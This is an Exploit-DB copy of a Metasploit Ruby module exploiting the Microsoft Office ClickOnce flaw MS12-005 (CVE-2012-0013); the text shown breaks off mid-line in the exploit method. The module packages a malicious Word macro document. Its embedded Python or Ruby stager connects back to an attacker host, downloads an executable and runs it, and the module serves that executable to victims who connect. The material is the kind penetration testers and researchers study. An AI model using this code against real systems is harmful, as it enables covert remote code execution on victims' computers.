Exploit-DB #19037
Description: Microsoft Office - ClickOnce Unsafe Object Package Handling (MS12-005) (Metasploit)
Type: local
Platform: windows
Date: 2012-06-11
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::EXE
	include Msf::Exploit::Remote::TcpServer

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Microsoft Office's ClickOnce
				feature.  When handling a Macro document, the application fails to recognize
				certain file extensions as dangerous executables, which can be used to bypass
				the warning message.  This allows you to trick your victim into opening the
				malicious document, which will load up either a python or ruby payload based on
				your choosing, and then finally download and execute our executable.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Yorick Koster', #Vuln discovery
					'sinn3r'         #Metasploit
				],
			'References'     =>
				[
					['CVE', '2012-0013'],
					['OSVDB', '78207'],
					['MSB', 'ms12-005'],
					['BID', '51284'],
					['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'],
					['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'          => "none",
					'DisablePayloadHandler' => 'false'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Microsoft Office Word 2007/2010 on Windows 7', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jan 10 2012",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
					OptString.new("BODY", [false, 'The message for the document body', '']),
					OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
				], self.class)
	end


	#
	# Return the first-stage payload that will download our malicious executable.
	#
	def get_download_exec_payload(type, lhost, lport)
		payload_name = Rex::Text.rand_text_alpha(7)

		# Padd up 6 null bytes so the first few characters won't get cut off
		p = "\x00"*6

		case type
		when :rb
			p << %Q|
			require 'socket'
			require 'tempfile'
			begin
				cli = TCPSocket.open("#{lhost}",#{lport})
				buf = ''
				while l = cli.gets
					buf << l
				end
				cli.close
				tmp = Tempfile.new(['#{payload_name}','.exe'])
				t = tmp.path
				tmp.binmode
				tmp.write(buf)
				tmp.close
				exec(t)
			rescue
			end#|

		when :py
			p << %Q|
			import socket
			import tempfile
			import os

			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect(("#{lhost}", #{lport}))
			buf = ""
			while True:
				data = s.recv(1024)
				if data:
					buf += data
				else:
					break
			s.close
			temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe"
			f = open(temp, "wb")
			f.write(buf)
			f.close
			f = None
			os.system(temp)
			#|

		end

		p = p.gsub(/^\t\t\t/, '')

		return p
	end


	#
	# Reads a file that'll be packaged.
	# This will patch certain files on the fly, or return the original content of the file.
	#
	def on_file_read(fname, file)
		f = open(file, 'rb')
		buf = f.read
		f.close

		# Modify certain files on the fly
		case file
		when /oleObject1\.bin/
			# Patch the OLE object file with our payload
			print_status("Patching OLE object")
			ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb
			p     = get_download_exec_payload(ptype, @ip, @port)
			buf   = buf.gsub(/MYPAYLOAD/, p)

			# Patch username
			username = Rex::Text.rand_text_alpha(5)
			buf = buf.gsub(/METASPLOIT/, username)
			buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username))

			# Patch the filename
			f = Rex::Text.rand_text_alpha(6)
			buf = buf.gsub(/MYFILENAME/, f)
			buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f))

			# Patch the extension name
			ext = ptype.to_s
			buf = buf.gsub(/MYEXT/, ext)
			buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext))

		when /document\.xml/
			print_status("Patching document body")
			# Patch the docx body
			buf = buf.gsub(/W00TW00T/, datastore['BODY'])

		end

		# The original filename of __rels is actually ".rels".
		# But for some reason if that's our original filename, it won't be included
		# in the archive. So this hacks around that.
		case fname
		when /__rels/
			fname = fname.gsub(/\_\_rels/, '.rels')
		end

		yield fname, buf
	end


	#
	# Packages the Office Macro Document
	#
	def package_docm_rex(path)
		zip = Rex::Zip::Archive.new

		Dir["#{path}/**/**"].each do |file|
			p = file.sub(path+'/','')

			if File.directory?(file)
				print_status("Packging directory: #{file}")
				zip.add_file(p)
			else
				on_file_read(p, file) do |fname, buf|
					print_status("Packaging file: #{fname}")
					zip.add_file(fname, buf)
				end
			end
		end

		zip.pack
	end


	#
	# Return the malicious executable
	#
	def on_client_connect(cli)
		print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)")
		cli.put(@exe)
		service.close_client(cli)
	end


	def exploit
		@ip    = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
		@port  = datastore['SRVPORT']

		print_status("